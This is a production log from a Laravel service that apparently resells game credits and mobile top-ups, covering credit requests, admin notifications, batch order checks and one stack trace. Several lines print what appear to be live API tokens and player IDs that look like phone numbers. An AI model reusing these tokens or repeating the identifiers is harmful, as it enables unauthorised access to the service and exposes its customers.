[2026-03-24 19:43:49] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-TsNSnM3H-1774370618","status":"completed","codes_count":0} 
[2026-03-24 19:43:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 16  
[2026-03-24 19:43:56] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"5000.0","mainamount":"5000","operation_number":"158648036","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpcds0sm3f4gp5c0EBCWh"}},"user_id":562} 
[2026-03-24 19:43:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:43:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:43:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:43:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:43:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:43:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:43:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:43:56] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:43:56] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18686,"user_id":562,"amount":5000.0,"admins_notified":7} 
[2026-03-24 19:43:57] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"9685.0","mainamount":"9685","operation_number":"158648070","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php4rq96eph64dbcGPjef6"}},"user_id":620} 
[2026-03-24 19:43:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:43:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:43:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:43:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:43:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:43:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:43:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:43:59] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:43:59] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18687,"user_id":620,"amount":9685.0,"admins_notified":7} 
[2026-03-24 19:44:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02"} 
[2026-03-24 19:44:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","total_operations":1,"sites_count":1} 
[2026-03-24 19:44:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-gIzM74K-1774370531"]} 
[2026-03-24 19:44:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 19:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 19:44:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:44:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134,"count":1} 
[2026-03-24 19:44:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134,"count":1} 
[2026-03-24 19:44:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134,"user_id":59,"notification_type":"order_approved","reference_id":179250} 
[2026-03-24 19:44:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:44:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:44:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134,"processed":1,"errors":0} 
[2026-03-24 19:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134,"processed":1,"errors":0} 
[2026-03-24 19:44:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"z84cJv6IlvHhrjMwkRW2l8uxqFDCzb4h","execution_time":"2026-03-24 19:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gIzM74K-1774370531","operation_id":164134} 
[2026-03-24 19:44:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 19:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:45:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:45:04] production.INFO: async() رجع: true  
[2026-03-24 19:45:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:45:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:45:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:45:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:45:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:45:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:45:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:45:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:45:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:45:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:45:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:45:56] production.INFO: Constructing job for order: 179254  
[2026-03-24 19:45:57] production.INFO: Handling job for order: 179254  
[2026-03-24 19:45:57] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:45:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:45:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=bfbf7be8-4777-4241-87b5-ab2bae24b9eb&Player_ID=0946983578  
[2026-03-24 19:45:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=bfbf7be8-4777-4241-87b5-ab2bae24b9eb&Player_ID=0946983578","has_body":false} 
[2026-03-24 19:45:58] production.INFO: Operation sent successfully {"operation_id":164138,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HJH1C-1774370757","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 19:45:58"}},"processed_data":{"order_number":"ORD-HJH1C-1774370757","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 19:46:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"tpv7nyOp102ORACEeqgs60uZOaMNKTiQ","execution_time":"2026-03-24 19:46:04"} 
[2026-03-24 19:46:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"tpv7nyOp102ORACEeqgs60uZOaMNKTiQ","execution_time":"2026-03-24 19:46:04","total_operations":1,"sites_count":1} 
[2026-03-24 19:46:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"tpv7nyOp102ORACEeqgs60uZOaMNKTiQ","execution_time":"2026-03-24 19:46:04","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-HJH1C-1774370757"]} 
[2026-03-24 19:46:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"tpv7nyOp102ORACEeqgs60uZOaMNKTiQ","execution_time":"2026-03-24 19:46:04","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 19:46:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"tpv7nyOp102ORACEeqgs60uZOaMNKTiQ","execution_time":"2026-03-24 19:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 19:46:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tpv7nyOp102ORACEeqgs60uZOaMNKTiQ","execution_time":"2026-03-24 19:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HJH1C-1774370757","operation_id":164138} 
[2026-03-24 19:46:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"tpv7nyOp102ORACEeqgs60uZOaMNKTiQ","execution_time":"2026-03-24 19:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HJH1C-1774370757","operation_id":164138,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 19:46:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"tpv7nyOp102ORACEeqgs60uZOaMNKTiQ","execution_time":"2026-03-24 19:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HJH1C-1774370757","operation_id":164138,"processed":0,"errors":0} 
[2026-03-24 19:46:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"tpv7nyOp102ORACEeqgs60uZOaMNKTiQ","execution_time":"2026-03-24 19:46:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HJH1C-1774370757","operation_id":164138} 
[2026-03-24 19:46:16] production.INFO: Constructing job for order: 179255  
[2026-03-24 19:46:16] production.INFO: Constructing job for order: 179256  
[2026-03-24 19:46:19] production.INFO: Handling job for order: 179256  
[2026-03-24 19:46:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:46:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:46:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/97/params?qty=10000&uuid=95478589-0981-48e0-9136-33f4487bbe91&Player_ID=822434973  
[2026-03-24 19:46:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/97/params?qty=10000&uuid=95478589-0981-48e0-9136-33f4487bbe91&Player_ID=822434973","has_body":false} 
[2026-03-24 19:46:20] production.INFO: Constructing job for order: 179257  
[2026-03-24 19:46:20] production.INFO: Operation sent successfully {"operation_id":164139,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NZdO0-1774370779","amount":10.4427929999999999921556081972084939479827880859375,"status":"processing","product":"PartyStar Amount","game":"PartyStar","notes":[],"created_at":"2026-03-24 19:46:20"}},"processed_data":{"order_number":"ORD-NZdO0-1774370779","amount":10.4427929999999999921556081972084939479827880859375,"status":"processing","product":"PartyStar Amount","game":"PartyStar"}} 
[2026-03-24 19:46:20] production.INFO: Handling job for order: 179255  
[2026-03-24 19:46:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:46:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:46:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/602/params?qty=230000&uuid=9d92bc48-58f1-496a-95bd-76be62a75501&Player_ID=61741342  
[2026-03-24 19:46:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/602/params?qty=230000&uuid=9d92bc48-58f1-496a-95bd-76be62a75501&Player_ID=61741342","has_body":false} 
[2026-03-24 19:46:21] production.INFO: Operation sent successfully {"operation_id":164140,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-r6m8fI-1774370780","amount":14.4029679999999995487769410829059779644012451171875,"status":"processing","product":"4fun Amount","game":"4Fun","notes":[],"created_at":"2026-03-24 19:46:21"}},"processed_data":{"order_number":"ORD-r6m8fI-1774370780","amount":14.4029679999999995487769410829059779644012451171875,"status":"processing","product":"4fun Amount","game":"4Fun"}} 
[2026-03-24 19:46:21] production.INFO: Handling job for order: 179257  
[2026-03-24 19:46:21] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:46:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:46:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=c6aa1db2-0cdb-4882-85d9-691719d0ab99&Player_ID=0995093160  
[2026-03-24 19:46:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=c6aa1db2-0cdb-4882-85d9-691719d0ab99&Player_ID=0995093160","has_body":false} 
[2026-03-24 19:46:21] production.INFO: Operation sent successfully {"operation_id":164141,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Wc0P-1774370781","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:46:21"}},"processed_data":{"order_number":"ORD-Wc0P-1774370781","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:47:33] production.INFO: Constructing job for order: 179258  
[2026-03-24 19:47:36] production.INFO: Handling job for order: 179258  
[2026-03-24 19:47:36] production.ERROR: API failed for order 179258 {"order_id":179258,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(179258, 22, 1, '8a011823-d8cc-4...', '[{\"key\":\"player...', 6, 14)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(179258)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 19:47:36","memory_usage":52953088,"memory_peak":52953088}} 
[2026-03-24 19:47:43] production.INFO: Constructing job for order: 179259  
[2026-03-24 19:47:44] production.INFO: SendAcceptReject: Notification queued {"user_id":14,"notification_type":"order_approved","reference_id":179258} 
[2026-03-24 19:47:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 14  
[2026-03-24 19:47:45] production.INFO: Handling job for order: 179259  
[2026-03-24 19:47:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:47:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:47:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/549/params?qty=1&uuid=efb73a12-b73f-46fb-8a7d-1ca07fd9f4a3&Player_ID=37579981  
[2026-03-24 19:47:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/549/params?qty=1&uuid=efb73a12-b73f-46fb-8a7d-1ca07fd9f4a3&Player_ID=37579981","has_body":false} 
[2026-03-24 19:47:46] production.INFO: Operation sent successfully {"operation_id":164142,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5PrCXE7-1774370866","amount":4.9933760669999998071943991817533969879150390625,"status":"processing","product":"490Coins","game":"Meyo","notes":[],"created_at":"2026-03-24 19:47:46"}},"processed_data":{"order_number":"ORD-5PrCXE7-1774370866","amount":4.9933760669999998071943991817533969879150390625,"status":"processing","product":"490Coins","game":"Meyo"}} 
[2026-03-24 19:48:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01"} 
[2026-03-24 19:48:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","total_operations":5,"sites_count":2} 
[2026-03-24 19:48:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-HJH1C-1774370757","ORD-Wc0P-1774370781"]} 
[2026-03-24 19:48:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 19:48:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 19:48:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 19:48:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 19:48:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"count":2} 
[2026-03-24 19:48:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"count":2} 
[2026-03-24 19:48:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"user_id":1320,"notification_type":"order_approved","reference_id":179254} 
[2026-03-24 19:48:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"user_id":1320,"notification_type":"order_approved","reference_id":179257} 
